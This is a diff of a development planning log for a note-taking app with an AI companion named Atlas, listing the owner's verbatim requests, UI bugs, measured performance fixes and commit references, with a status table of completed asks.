+    chat with no long prompt (so no skill nudge, the INBOX 413 half)
+    (cd5dec1, `aicheck.js`); the panel docks at the bottom or on the right,
+    resizable, remembered, always bottom at 720px and below (a8c822a,
+    `prosedock.js`); the dictionary as a settings sheet (bbeda8e,

+
+421. **The owner, 2026-09-24, verbatim, with screenshots (placed in agent
+    briefs, two at a time).** (a) "in the radials on the mind map, the items
+    like "add beside" and "cross-link" are very close to the edges (inner and
+    outer) of the radial and arent centered nicely. also when I press the
+    more button the dropdown menu appears in the top left of my screen"
+    (desktop app; the pie-ring agent could not reproduce the corner with a
+    real click). **(a) built** (INBOX 421 agent): labels centred with 10px to
+    both arcs and dividers (1.4 -> 11.4px, mapradialfit.js); More anchors to
+    the sector read at pointerdown, (0,0) refused and logged, the canvas host
+    no longer scrolls on focus (mapradialmore.js 33/33). The desktop corner
+    itself was still not reproduced headless: the console now names any
+    corner placement, so the owner's log will say which route it was. (b) "the / command blocks and frames need a massive
+    redesign, expansion and improvement, the icons dont render in the live
+    view in the documents editor ... they need ot be impressive and an actual
+    proper thing the user's can use to properly structure out their
+    documents and notes." (live-view callout icon fixed 6e072b2; built
+    2026-09-24: the grouped block inserter, 14 callout kinds, columns in
+    notes, contents, rules, cited quotes, maths, the block bar and document
+    cards, `slashmenu.js`, `blocksrender.js`, `blockbar.js`.) (c)
+    "sometimes document editor dropdowns appear at the top of the screen and
+    other times it is fine, sometimes it doesnt open at all" (the spelling
+    menu, top of the window; fixed 2026-09-24: placed from the
+    finding, never a detached element's empty box; the double-click's first
+    press; the "/" menu follows a scroll; `menuanchor.js` 15/15). (d) "there's no 'x' close button on the trace
+    popup row in the graph" (**built**: an X at the strip's end that leaves
+    trace mode; Done only cleared the ends; graphtraceclose.js). (e) OCR: "I cant delete the ocr entry in the
+    workspace or the lightbox and the text in the lightbox doesnt even appear
+    in the ocr workspace" (workspace delete fixed 6e072b2; the lightbox
+    showed a vision reading of "Test, Test, ..." hundreds of times, a
+    degenerate model loop the app should cut; **built**: loops cut where a
+    reading is produced, each lightbox reading deletable, the workspace shows
+    both stored readings and no longer blanks a stored one when the reader
+    is the model; ocrreadings.js 6/6). (f) The file row in the
+    Library ("PDF · 121 KB · added ... Read · 808 words, Open reader, Used
+    in"): "needs a bit more modern and ui refinement and the second row
+    elements arent aligned and dont really match" (fixed: one size, one
+    line box, middot groups, "Read this" a link). (g) "the lightbox buttons
+    below the image are greyed out?? i opened the image from within a note".
+    (**built**: not disabled, the row was the theme's ghost ink on the dark
+    scrim, 1.37:1 in light from every door; now the scrim's own recipe,
+    8.28:1; lightboxentry.js) (h) View toggles with no clear active state (fixed c920174). (i) "have
+    you included all the new optional packages in the packages settings
+    page??" and "move the preferences settings page up a bit and maybe also
+    turn it a bit into the user's own personal local profile where they can
+    put info about themselves and their name for the ai to use as context
+    and there can also be the generated profile image". (j) "I clicked a note
+    linked in the sources of an ai chat reply and it took me to that note,
+    but when I pressed the back navigation button it opened the settings
+    panel??" (not reproduced: chat then flashEntry then Back lands on chat,
+    also with chat opened from inside Settings; needs the exact path).
+
+423. **Found, not fixed, by the agents of 2026-09-24 (placed for the next
+    pass; one line each, recommendation first).** (a) The mind map's pie
+    ring does not take focus when it opens, so Enter and the arrows still
+    act on the board while it shows: recommend it takes focus when opened
+    from the keyboard only. (b) DOCX export writes `:::columns`, `[TOC]` and
+    `[!kind]` as plain text: map them to Word columns, a TOC field and a
+    shaded box. (c) Inline `$x$` maths is plain symbols in Read view: render
+    it through the same TeX-to-MathML path as `$$`. (fixed: `INLINE_MATH_RE`
+    (app.js) now claims a `$…$` span with no space inside either delimiter
+    and no digit right after the close; `unlatex` carries it through
+    untouched instead of symbol-swapping it, and `renderInlineMarkdown` cuts
+    it out and draws it with `mdInlineMathElement`, the same `docMathRender`
+    the `$$` blocks use. `tests/test_inline_math.py`.) (d) The OCR workspace's
+    message for a vision reading still suggests installing Tesseract: word
+    it by reader. (fixed: `_regions_for` (routes_files.py) checks
+    `ocr.tesseract_available()` before wording the "no page positions"
+    message; installed but not chosen now says "Switch to Tesseract", missing
+    still says "Install Tesseract". `tests/test_ocr_regions.py`.) (e) At
+    150% zoom the lightbox picture overlaps its caption
+    line. (f) Stored readings that already contain a repeated-line loop are
+    not cleaned: offer "Clean up" in the reading menu. (fixed: a broom
+    button beside Delete reading, in the OCR workspace and the lightbox's
+    other-readings list, POSTs `/files/{id}/ocr-clean-loops` or
+    `/media/{id}/ocr-clean-loops`, which runs `cut_reading_loops` over
+    whichever of `vision_ocr_text`/`ocr_text` are set and saves what
+    changed; the panel repaints from the response. `tests/test_ocr_clean_loops.py`,
+    live-checked with `scratchpad/ui-sweeps/ocrcleanloops.js`.) (g) `_desktop_port()` took any MemoryMap on the port for this one: built
+    (HISTORY.md, "Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: WORLD_CLASS_PLAN)", 423(g)). (h) Chat replies saved before
+    2026-09-24 always show Atlas's mark (their persona was never stored).
+    (i) The server-mode process takes 5 to 9s to exit after uvicorn
+    finishes: find the thread that holds it. (fixed: every sync route
+    (almost all of them) runs on one of anyio's own "AnyIO worker thread"
+    objects, which is not a daemon thread and only stops itself on a
+    done-callback that can miss `uvicorn.run()` tearing the loop down;
+    measured leaving one alive, `daemon=False`, right after "Finished
+    server process". `_stop_lingering_worker_threads` (`__main__.py`,
+    called right after `uvicorn.run()` returns) asks it to stop and bounds
+    the wait to 1s. `tests/test_server_shutdown.py` reproduces the leftover
+    thread with a real `uvicorn.Server` running `create_app()` and checks
+    the fix clears it.)
+    (j) `gate.sh --sweeps` on 25d7d56 (fixture data dir /tmp/mm-me):
+    asktab.js 3 findings, libreadingfoot.js "reading visible: false" and
+    "no card with a reading", tagoffer.js 2 failures (manual route and the
+    empty tag row flag). Triage each as app bug or stale sweep before
+    fixing; the reader's 36px page box is fixed (25d7d56).
+
+424. **Audit of 2026-09-24 (performance measured in Playwright on a
+    400-note, 1,200-link, 250-object board, 120-topic map, 30-image
+    fixture, at 1440x900, 1x and 4x CPU with CDP profiles; UX walked at
+    1440 and 390). Fixed in this pass: the media poll outliving the
+    Library, the outline rebuilt per typing pause (515ms to 12ms), the
+    avatar follow frame's document-wide query (279ms to 20ms per 60 moves),
+    the unnamed "Toggle Sidebar" button. Open, one line each: measurement,
+    cause, recommendation.**
+    (a) Board, dragging a multi-selection: 44 long tasks, 8.6s of them for
+    40 moves at 4x (max 560ms); `objDragMove` calls `wbUpdateSelectionBar`
+    every move, and `wbItemBBox` runs a document-wide
+    `querySelector('.node-card[data-id=...]')` per item (2.6s); recommend an
+    id-to-element map from the render pass and the bar updated once a frame.
+    (fixed: `objDragMove` 5,167ms → 167ms, profile busy 6.1s → 1.0s, longest
+    task 901ms → 213ms, same harness and fixture at 4x; element cache in
+    `wbItemBBox`, the bar queued once a frame, the chrome groups found once
+    per gesture, the editing check scoped to the board. Bar position mid-drag
+    identical to base over 10 moves, `perf5/barcheck.js`.) Still open on the
+    board, a pan: a devtools.timeline trace of 40 moves at 4x is 43 long
+    tasks, 3.5s, of which `Layerize` is 2.4s and script 0.2s; it stays with
+    the grid sync, the cull, the bar, the navigator and both SVG transforms
+    switched off (`perf5/pantrace.js` VARIANT), so it is the compositor's
+    layer assignment of ~250 painted objects per frame, not a handler.
+    (fixed 2026-09-26: the objects were not the cause, their grips were.
+    Nine per card, invisible but in the tree, each scaled by
+    `--wb-inv-zoom`, split the board into 256 layers; `display: none` at
+    rest gives 138. Two runs each at 4x, 40 moves, `gwperf.js`: long tasks
+    33/38 (2.5/2.7s) to 2/2 (136ms), `Layerize` 1.8/1.7s to 0.34/0.35s,
+    median frame 67/50 to 17/17ms; the zoom's long tasks 2.0s to 0.5s.
+    Grips on hover and selection unchanged, fade kept, `wbpanlayers.js` 6/6,
+    3/6 on base.)
+    (b) Graph node drag at 4x: 137 long tasks, every frame over 33ms (max
+    550ms); `graphMinimapPaint` rebuilds the minimap's SVG on every worker
+    tick (1.56s of `createElementNS`/`setAttribute`/`replaceChildren`);
+    recommend painting the minimap to a canvas, at most once a frame.
+    (fixed: `graphMinimapPaint` 1,502ms → 514ms, profile busy 3.6s → 2.0s
+    for the same 40-move drag at 4x; the ticks queue one paint a frame, the
+    paint moves the existing dots and lines and skips unchanged attributes,
+    and a minimap that is off, on a hidden tab or in a hidden window is not
+    painted. Kept as SVG: the sweeps count its circles. Dots, lines and
+    positions identical to base, `perf5/minicheck.js`, `minimap6b.js`.)
+    (c) Graph wheel zoom at 4x: 31 long tasks, 13.7s, p95 frame 583ms;
+    `gcDraw` re-measures every label (`measureText` 152ms) per frame;
+    recommend caching label widths per node and font size.
+    (fixed: `measureText` 165ms → 0 over 16 wheel steps at 4x; a label is
+    measured once per text at a reference size and scaled with the zoom,
+    dropped when the font changes.)
+    (d) Graph tab switch at 1x: 25 long tasks, 1.6s, 50 of 59 frames over
+    33ms; each visit refetches `/graph` and restarts the layout, and
+    idle on Graph at 4x is still 3.7s of main-thread work per 10s
+    (worker ticks plus minimap); recommend reusing the last settled layout
+    when the notes' version has not changed.
+    (fixed for the layout, not the fetch: main-thread task time in the 12s
+    after a revisit at 4x 6,746ms → 1,382ms; a layout whose inputs, pins,
+    lines, forces and world match the last one to settle, with every note
+    where it left off, starts at rest and is framed as before; any change of
+    input heats it as before. Idle once settled was already ~5ms per 2s: the
+    cost was the re-settle. Still refetched each visit.)
+    (e) Mind map expand of the root (120 topics) at 4x: one 1,336ms task;
+    `renderWbObjects` rebuilds every node through `wbBuildMapNode`
+    (`setAttribute` 354ms); recommend keyed updates so an expand only
+    builds the nodes it reveals.
+    (fixed: the join was already keyed, so an expand of the root does reveal
+    all 119; what it no longer does is build them. A folded topic's element
+    is kept and taken back, for the same datum only. Two runs each at 4x:
+    longest task 899/1,115ms → 597/442ms, profile busy 781/1,016ms →
+    456/319ms, `wbBuildMapNode` 321/419ms → 0. Markup after a fold round
+    trip identical to base apart from attribute order, and a taken-back
+    topic's chevron still folds it, `perf5/mapreuse.js`.)
+    (f) Lightbox next/previous at 4x: 13 long tasks for 5 presses (p95
+    350ms); `show` calls `applyZoom`, which calls `scrollTo` (375ms of
+    forced layout) even when already at fit; recommend scrolling only when
+    the zoom actually changed.
+    (fixed: `show` 457/360ms → 37/28ms and `scrollTo` 406/305ms → 0 over
+    five presses at 4x, two runs each; profile busy 580/465ms → 128/118ms.
+    Fit scrolls only a scroller its own scroll events, or a pan, say is off
+    its origin, so a PDF read halfway down still goes back to the top.
+    `lightboxfit.js` 42/42 on both.)
+    (g) Library tab switch at 1x: 10 long tasks, 580ms (4x: 3.4s, max
+    683ms); `loadLibrary` refetches `/library` and rebuilds every card each
+    visit; recommend the same version check as (d).
+    (open, needs a decision: skipping the rebuild when `/library` answers
+    the same would also keep the selection, which a reload clears on
+    purpose, and leave relative dates as they were drawn. Recommend: keep
+    the cards on screen during the refetch, skip the rebuild when the answer
+    is identical, and clear the selection either way.) (Fixed with that
+    recommendation: an identical answer drawn under five minutes ago is not
+    redrawn unless something is selected; 189 grid mutations over three
+    revisits before, 0 after.)
+    (h) Every tab switch at 4x: `revealTab` 70 to 110ms self time, mostly
+    `querySelectorAll("textarea.autogrow")` then `autoGrow` on each visible
+    one (forced layout per box); recommend autogrowing only the new tab's
+    boxes.
+    (fixed, the autogrow part: every check is read in one pass and only a box
+    measured while hidden, or whose text, width, font or cap changed, is
+    grown; 0 to 12ms per switch. Not the 70 to 110ms: split step by step
+    (`perf5/revealsplit2.js`, 14 switches at 4x) it is `button.tabIndex =`
+    796ms, which forces the style recalc of the page just shown, then 203ms
+    of its layout; autogrow was 30ms of revealTab's 1,318ms. That is the new
+    tab's own style and layout, forced early, and moving it was measured to
+    gain nothing (the note on `revealActiveTab`).)
+    (i) Typing in a note at 4x: 56 of 204 frames over 33ms; each keystroke
+    mirrors the editor into the hidden textarea and dispatches `input`,
+    which runs `autoGrow` (448ms self) on a box nobody sees; recommend
+    skipping autogrow for a box whose editor is mounted.
+    (fixed: `autoGrow` 492/532ms → 16/17ms over the 50-character run at 4x,
+    profile busy 2,448/2,790ms → 1,874/1,713ms. The mirror is left to the
+    stylesheet's `height: 100%`, which an old inline height had overridden:
+    measured after 14 lines, base mirror 315px under a 398px editor, now
+    398px; the editor and its box are unchanged, `perf5/capcheck.js`.)
+    (j) The brand emblem's p5 loop draws at 24fps on every tab while idle
+    (`_draw` about 70ms per 8s at 1x on Dashboard and Chat, and it shows up
+    inside every drag profile); recommend pausing it after a few seconds
+    without input, as the mood timer already tracks.
+    (already fixed by b944d2c, which the audit's worktree predates: the
+    emblem is drawn once and turned by CSS. Measured on this head, 8s idle
+    at 1x: 0ms of script on Dashboard and Chat, `perf5/idleprof.js`.)
+    (k) Library shows at most 200 of each kind (`PER_KIND_LIMIT`,
+    routes_library.py) and its chip counts are the count returned: with 400
+    notes the chip reads "Notes 198", and a plain Library search for the
+    oldest note ("Note 17 summary") says "Nothing matching" while
+    `/entries?q=` finds it; recommend true counts and a server search (or
+    paging) once a kind passes the cap. (Fixed: counts and the overview
+    are real totals, `truncated` names the cut kinds, `/library?q=` matches
+    before the cut and the client swaps those kinds in while searching; a
+    line under the grid says "Showing the newest 186 of 339 notes. Search
+    to reach the rest." Measured on 339 notes: the chip reads 339, a search
+    for the oldest note finds it. Test in tests/test_library.py.)
+    (l) Settings: 18 sections in 4 groups; "Profile & preferences" sits
+    under Atlas but holds the recycle bin, chat history, notifications and
+    writing, is the only section with its own Save button, and repeats a
+    "Web search" heading that only links to the Web search section;
+    recommend "Profile" under Atlas, a "General" section under Your
+    notebook, save on change, and the pointer heading removed. (Fixed:
+    Profile keeps the name, look and About me; General, first under Your
+    notebook, holds the bin, chat history, answer style, search relevance,
+    notifications and writing; both save on change; the Web search pointer
+    heading is gone; the Ask tab's relevance link and the catalogue go to
+    General.)
+    (m) Settings sections are long: Tools 7,592px tall at 1440 (12,058px at
+    390), Appearance 4,537px with 105 controls, Logs 515 controls;
+    recommend collapsed groups (`details`) with the first open, per
+    DESIGN.md.
+    (n) One thing, several names: Chat (tab), "Ask" (Notes sub-tab and
+    status bar), "Write with Atlas" (Notes sub-tab), Atlas (Settings group);
+    Skills (Settings) vs "AI skills" (Library sub-tab); recommend one noun
+    per thing in DESIGN.md's copy rules and a lint.
+    (o) Library: 8 sub-tabs plus 13 chips in All, several the same filter
+    twice (Documents chip and sub-tab; Boards and Mind maps chips and the
+    "Boards & maps" sub-tab; Files chip and sub-tab); 101 visible controls
+    at 1440; recommend the chips be the only kind filter in All.
+    (p) Documents have a tab page with no tab-bar button: the way in is the
+    Library's Documents sub-tab, and the tab bar then highlights Library;
+    recommend a breadcrumb back to the Library in the editor's dock. (Fixed:
+    a "Documents" breadcrumb opens the dock, back to the Library's
+    Documents list, measured at the title's height.)
+    (q) Notes tab: 109 visible controls at 1440, 19 of them under 24px
+    (the link chips on each card); recommend the link chips behind a count
+    ("6 links") on the card, expanded on hover or focus. (Fixed: the
+    first three links show, the rest wait behind "+N more links", which
+    opens them in place.)
+    (r) Memory is clean: 30 tab switches moved the heap 21.7 to 22.3MB,
+    DOM nodes 48,888 to 49,297, listeners flat. Idle Chat once measured
+    599 layouts per 10s at 4x and did not reproduce (0 in a later 5s
+    check): watch for it.
+
+425. **The owner, 2026-09-24 (after the usage reset), with screenshots.**
+    Avatars: (a) "the avatar shows even when the app is on the lock screen.
+    it should only show when the app is unlocked"; (b) "is there a way to
+    make the corner companion more lifelike and less a circle just chilling
+    somewhere on the screen?? give it life", and "an adaptive companion
+    avatar placement feature where set areas are assigned as possible areas
+    for a companion to sit or chill around while not being in the way on
+    every interface and page. and the companion can even interact with the
+    close ui like hand from a top bar, sit on a bottom bar, walk a top a
+    feature ... just so I dont move it to one area, and then it is annoying
+    for it to be there on another page" (fixed: the companion is one
+    drawn character with a body, and per tab it takes a perch measured from
+    the real UI (hanging from the top bar or a panel's underside, sitting on
+    or standing at a top edge with its legs dangling or tucked, tucked behind
+    the bottom bar as a last resort), never over a control; a spot you drop
+    it on is kept per tab against its panel; a weighted behaviour picker
+    with cooldowns runs one decision every 4 to 12s; commits 4b4f1d4 to
+    5c19f45); (c) "may shuffled avatar reset and
+    didnt persist"; (d) "how does the shuffle work?? does it still base it
+    on what is entered for the name??" (fixed: Your look says it keeps what
+    the name says and any part you chose and redraws the rest, db38ea1);
+    (e) "I want the persona avatar to
+    appear next to where you set the persona for the dashboard greeting";
+    (f) "I set the dashboard greeting to another persona, but when I hit
+    regenerate, it said asking Atlas"; (g) "I changed personas for the
+    dashboard greeting and the avatar/icon changed as I had set it, but when
+    I changed the persona again, it didnt change again"; (h) "the whole
+    thing with the avatars needs a proper polish and bug fix ... a full ui
+    and ux upgrade to properly fit the application" (fixed: every generated
+    face is one designed character, d1e74fd; swept at 1440 and 390, light
+    and dark: row alignment within 0.5px at every list site, no clipping
+    but the large view's ears (fixed), speech bubbles kept inside the
+    window, the companion no longer over the chat composer's settings or
+    the phone's Library tab). Documents: (i) "can
+    there be a document full screen mode so there is more space ... maybe
+    the top bar needs a bit of redesigning or the interface on the document
+    editor needs a bit of visual adjusting to allow for more room. also
+    tables are still really annoying to use and edit in the documents live
+    view" (fixed: focus mode on the dock and F11 hides every band of chrome,
+    a fading floating bar keeps title, words, save state and Exit, 228px to
+    71px above the first line and 520px to 830px of writing at 1440x900;
+    the dock is one 36px row, 49px back in the normal view; Live tables keep
+    the column on the arrows, Enter goes down and adds a row, the arrows
+    leave a table at either end of the document, a spreadsheet paste fills
+    cells or makes a table, the cell menu rides the edited row; the AI
+    assistant's head and verbs redesigned; commits da89a75 to 260bb2a).
+    Settings: (j) "remove the need for saving preferences in the
+    settings and just have it auto save like the rest of the settings"
+    (fixed: preferences autosave and the Save button is hidden, `#prefs-save`
+    and `#prefs-status` in `index.html`, INBOX 426 u);
+    (k) "should these text boxes be aligned to the right??" (the
+    Preferences number fields; answered, no change: measured, all four
+    sit on the pane's one field column at x=812, the same left edge as
+    Display name and the answer-style select, and flushing them right
+    would give each a different left edge because their units differ); (l) "Improve how custom theme cards are
+    displayed" (name truncated "Sea of P...", delete button crowding it; fixed: saved looks get a 10rem track,
+    the name wraps to two lines before it truncates, delete is a badge on
+    the card corner; measured 183px cards, no name clipped at 1440).
+    Dashboard: (m) "the search bar on the dashboard has a glass aesthetic
+    even when it is off"
+    (fixed: its ground was a 4% tint over the page art; the tint now sits
+    on `--card`, which glass off makes solid). Backgrounds: (n) Mycelium start points more
+    organic, smoother faded transitions; (o) optimise Microbes (fixed, both,
+    e5a8c4b and b8ad914: scattered spores, staggered threads, a 2s
+    cross-fade between generations; Microbes 3.0 to 2.2ms a frame; also
+    Constellation 3.5 to 2.4ms, Mesh and Orbs moved to 15/30fps canvases,
+    whole-browser CPU about halved. Still open: Constellation and Microbes
+    just over the 2ms budget on a loaded machine, 0.3 to 1MB/s of canvas
+    garbage from fractional coordinates, pause on blur only after 30s, the
+    dead CSS path and `bg-*` keyframes in 03-dashboard-widgets.css, a faint
+    upscale texture in the dark mesh, 4x-throttle numbers not re-run). (p) "see if there are any more areas to reduce
+    lag ... like the avatars and other animations" (the audit agent, 424).
+    (q) "on the dashboard when on the focused view, the hero section row is
+    ugly and needs improvement and I dont agree with the search bar being on
+    the same line and changing width depending on how long the welcome
+    message is" (fixed: the owner's decision reverses INBOX 296's one-row
+    head; Focused is Full's head at a smaller scale, a 71px banner with the
+    greeting and name nudge, the summary under them and the time on the
+    right, and the search full width beneath it at 1408px whatever the
+    greeting says; measured at 1440 and 390).
+
+427. **Open from INBOX 426, 2026-09-26: two calls only the owner can make.**
+    Everything else in 426 (a to cc) is built and in HISTORY, "INBOX
+    resolved, 2026-09-26"; the agents' smaller leftovers are in
+    `agent-remaining/OPEN.md`, "Left by the 0.3.3 agents".
+    (1) **Atlas's anatomy, the owner's read of rounds 3 and 4.** The trace
+    proofs put the masculine look at 88% of the reference sprite's height
+    and the feminine look's hair a third shorter than the definitive stand's;
+    the owner's review names the next round (hands and feet, the head to body
+    join, the tail's ribbon, the chest star). Judge it in the avatar lab
+    (`tools/avatar-lab.html`, Both looks, All poses) or the README's
+    `docs/screenshots/atlas-hero.png` and `atlas-poses.png`.
+    Recommendation: none to take on the owner's behalf; this is taste.
+    (2) **The companion's pin near an edge.** A companion pinned within 160px
+    of the window's right or bottom edge keeps its distance from that edge
+    when the window is resized (so it moves with the edge); one pinned further
+    in keeps its place. Whether the owner reads the first as "it still
+    moves" (426 l) is not known. Recommendation, taken unless the owner says
+    otherwise: keep it, since a pin by the edge that stayed put would end up
+    off screen or under the scroll bar on a narrower window, which is 426 k.
+
+430. **The owner, 2026-09-27 afternoon, with 37 screenshots (verbatim in the
+    session; condensed here, each placed with an agent).** Bugs: agent turn
+    "Invalid format string" on Windows (**fixed** 180e522); chat citation
+    renumbered to 1 on reload while its peek shows source 8; scroll jumps in
+    chat with a sources fold open; layout flickers between two states every
+    second in devtools responsive mode; top bar not centred at small widths;
+    lightbox meatball menu does nothing; OCR workspace not reachable from
+    Images; '?' popover in Capture does not scroll with a touchpad; tools
+    list draws a second divider over column two's first row; Privacy's
+    Since launch / All time pill has no active state; capture preview
+    crushes line numbers; Atlas spills out of its ring in the tour.
+    Phone and tablet: graph controls overlap, Documents editor cut off,
+    whiteboard will not pan by touch, lightbox, skill logs sidebar (gap,
+    shadow, no hover-expand), gap under the bottom bar, the agent-runs bar
+    on phones, Contents dates overflow, a portrait-shaped graph. Asks:
+    links widget and a rename of Library's Links; notice banners carry
+    their action with a confirm; settings section heads; the agent popup's
+    avatar circles; guide: AI/system answer toggle, much more help, cleaner
+    formatting; model per feature offers "same as chat/utility model";
+    note forms use the live view with a source toggle, no Preview; AI
+    templates (generate, edit, regenerate) and every template in Settings;
+    Windows tray menu extended; constellation in the background art and a
+    better constellation; graph node size by a toggle, Arc fit, Tree
+    centred; companion: perches on every tab, dodges popups, less
+    distracting, lifelike motion and transitions, a show/hide hotkey and
+    palette action (done: Ctrl+Shift+Y, rebindable, palette and Find
+    anything rows that say Hide or Show, PR 162); Atlas less chunky, masculine limbs, tilted rings with
+    orbiting bodies, a taller nebula; generated faces vary expression per
+    character. Questions: prompt injection, chat header divider. Rules:
+    two or three agents, Sonnet where quality holds, concise.
+    **Added 2026-09-27 midday (the owner, verbatim):** "also can you extend
+    this menu a bit maybe with sub-sections if necessary, for things such as
+    a quick link to the profile/personas/appearences tab, toggling various
+    features such as masculine/feminine, which companion is displayed etc."
+    (the companion's right-click menu). Its screenshot also shows that menu
+    opening at the window's top left with the companion at the bottom right:
+    recheck on the current head after a0d957a. Decided the same day: desktop
+    first with small laptops (1366x768 at 125%, 1280x720) and tablets next;
+    Links is renamed Bookmarks; the two map kinds are named separately;
+    releases stay on 0.3.3 for now.
+    **Added (the owner):** tab changes: the companion lingers on the old tab
+    a moment then pops in elsewhere. Wanted: it stays behind on quick tab
+    flicks and only follows after the person settles on a tab; it enters
+    smoothly (walks on from the side, climbs up from the bottom bar, climbs
+    down from the top bar, or materialises), never a sudden pop; a "reduce
+    actions" setting so waves and gestures come less often; more stances,
+    Atlas's masculine and feminine each with their own.

+## Placed from INBOX, 2026-10-04 (design work for the next Opus slots)
+
+Briefs 485, 496, 493, 484, 486 and 490 are all built (each carries its "Built:" line in HISTORY.md, "INBOX resolved": 485 the Attach panel `6236875`, 496 Contents and the Boards and maps load `f58c264` `e489bda`, 493 the graph's look `4af88c6` `5a3d6eb` `a506e0f`, 484 the leader menu `64fa7a5`, 486 callouts `cb7c30d`, 490 the follow-up trail `fabdcbf`; HISTORY.md, "Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: WORLD_CLASS_PLAN)").

+     Boards and maps: one "New" with board and mind map inside (8 controls
+     today). Zoom controls: one orientation and order on Graph, board and
+     map. Help '?' on the Library's All, Documents and Bookmarks sub-tabs.
+     Reminders: one "Add" per card. The documents dock onto the shared dock
+     recipe (DOCUMENTS_PLAN). Sonnet-sized except the zoom unification.
+
+## Placed from INBOX, 2026-10-05 (OPEN.md triage)
+
+- ~~**Move a batch of notes to another space**~~ Built (row 30: `batch-space.js`, `POST /spaces/{id}/move-notes`, an Undo that moves them back, `tests/test_selection_actions_row30.py`; HISTORY.md, "Moved from the plans, 2026-10-05 (docs hygiene before 0.4.0: WORLD_CLASS_PLAN)").
+- **The Guide's corpus and the Help accordion are kept in step by hand**
+  (guide; the synonym column it asked for exists, `help_chat.py`'s keyword
+  table). Brief: give the accordion's thirteen `<details>` ids, convert them
+  to the named family under `test_ui_recipes.py`'s ratchet, then a lint that
+  every accordion id has a Guide topic. Sonnet, M.
+
+434. **The owner, 2026-10-03, verbatim.** "Can you make sure everything in
+     the frontend, backend, function, utility and process for how the user
+     can write notes and make a note is insanely easy and fast?? It needs to
+     be world class. It it the whole reason for this notebook after all. It
+     needs to be very accurate, fast, easy, not complicated but with advanced
+     features, very robust and to actually work. It needs to be better than
+     all other notebooks out there, have multiple ways it can be done, have
+     extensive capabilities, and be the absolute gem of the app. It needs to
+     be this amazing even when the ai isn't available or accessible and then
+     even better with it."
+     Placed (one brief, after the frontend/js move lands): (1) a measured
+     audit of every way a note is made (Capture, New note, palette, keys,
+     paste, drop, share, templates, daily note, from a selection, desktop
+     quick capture) against Apple Notes, Obsidian, Bear, Keep and Drafts:
+     time from intent to typing, keystrokes to saved, what is lost on a
+     crash or a dead server; (2) filing without a model (local rules from
+     the notebook's own categories and tags, so "no AI" still files well),
+     better with one; (3) robustness (draft kept through reloads and
+     crashes, offline save queued, never a lost keystroke); (4) the gaps
+     the audit finds, fixed by impact, each measured.
+     **Progress 2026-10-03 (capture agent):** the audit is
+     `scratchpad/ui-sweeps/captureaudit.js` (every path: keys, ms to the
+     list, ms to filed, server down mid-save, reload). Fixed, each measured
+     before and after: an image pasted into Capture and a file dropped on it
+     vanished (0 cards; now 1 and 2); a save with the server down said
+     "Failed to fetch" and was never sent (now held on this device by the
+     outbox in quick-note.js, synced 144 ms after the server answers, saved
+     once by `client_key`); Quick note (Alt+N, palette) saves from any tab
+     without leaving it (caret 26 to 61 ms, in the list 145 to 266 ms; the
+     Drafts and Tana quick-capture shape); `#word` tags a note (was []);
+     the draft keeps its title and tags through a reload (both were lost);
+     the palette's New note began every note with a blank line; the graph's
+     new note and the dashboard widget waited on filing. A pasted link
+     offers the page as a note when the web is allowed (the clipper had no
+     door). Decided against: "/" for a category in the box, since "/" is
+     the blocks menu there. Open: deferred filing takes 1.2 to 2.5 s on this
+     sandbox with no chat model (the embedding pass, server side; the note
+     is in the list long before); staged pictures and files cannot be held offline (the
+     words stay in the box, saying so); the desktop window, real
+     clipboards and a real server crash between commit and answer are not
+     verified (the dedupe map is in memory).
+     **Progress 2026-10-04 (filing-speed agent): the open 1.2 to 2.5 s is
+     fixed by cause.** It was never the model load or the notebook size: one
+     `encode()` of a note-sized text on torch's default intra-op pool (one
+     thread per core) pays barrier waits that dwarf the arithmetic whenever
+     another process wants a core. Median per encode, 70-character note:
+     4 threads idle 39 ms; 4 threads machine busy 2,192 ms; 1 thread busy
+     79 ms. `embeddings.py` now sets one thread in the encoding thread before
+     each encode (`MEMORYMAP_EMBED_THREADS` raises it). Live server, no model,
+     captureaudit `filed_ms` (capture, selection, graph, dashboard): 1700,
+     1156, 1639, 1380 to 90, 175, 27, 91; `filing_api_time.py` median 1251 to
+     81 ms. Counted, not timed, tests: `test_embedding_threads.py`,
+     `test_background_filing_cost.py` (at most two encodes a job, statements
+     flat from 4 to 40 notes). Profiler: `scratchpad/filing_profile.py`. Open:
+     the first note after a launch still waits for the model's cold load
+     (6.8 s measured: torch import), because filing by meaning embeds the
+     note before it settles; changing that changes what gets filed, so it is
+     the owner's call: made a switch (509).

-
-| Ask | State |
-| --- | --- |
-| Review and refine Gemini's pass: revert the risky, redo the attempted fixes better | Done |
-| Packaged .exe splash; installer optional packages; embedding model missing with no nudge; wrong model in the chat header | Done |
-| Toolbars wrapping at 100% zoom; Capture toolbar wrap | Done (notes dock, Capture toolbar) |
-| Notes page blank or jumping to the top on edit; mind maps in Find anything; digest filler and "tonight" | Done |
-| Per-feature model pickers (and "too big"); agent activity alignment; image filter by kind; done notification for a closed panel; Select all; 29/30/31 note counts | Done |
-| Duplicate caption and OCR jobs; CodeQL #423 | Done |
-| Themes: Quiet utilitarian default, Paper, Mono, Classic second; card text and alignment; loading screen, graph bar and menus follow the look; page shine toggle | Done |
-| Dashboard top calmer; then "squished" and Full the same as Compact | Done (density fix, Full restored) |
-| Map node menu grouped; radial ring stays open | Done |
-| Pan and drag smoothness on the board and map | Done (style recalc 2439 to 29 ms) |
-| "Do that optimisation on the rest of the app" | Done: scroll handlers (back-to-top, scroll edge, graph wheel); Notes raster during scroll 2.7-3.0s to about 0.25s and typing style 1,651 to 350ms (Library agent); board and map style recalc 2,439 to 29ms; left: CodeMirror's own 12ms per key, and map culling at 500 topics (agent running, MINDMAP_PLAN 13a-view) |
-| Efficiency: CPU, RAM, network, storage | Measured 2026-09-23: idle network 2 requests and 1.9KB a minute; boot 25 requests, 1.0s to load; JS heap 25MB and 11,001 elements, flat over three rounds of every tab (no leak); CPU on scroll and pan fixed. Left: per-interaction traces for typing and dialogs (Library agent has scroll and typing), 217 document-level listeners worth consolidating |
-| Mind map professional refinement: controls findability, View menu size, hint strip over the canvas | Done: node menu, cross-link tool, label drag, cross-links drawn like branches, View menu 714 to 357px, hint strip, discoverability (canvas agent, `canvasconventions.js` 54 of 54) |
-| Cross-links look the same as branches | Done |
-| Live view markdown rendering and table editing | Done (documents agent) |
-| Code documents as a code editor: errors, suggestions | Done (diagnostics, completions) |
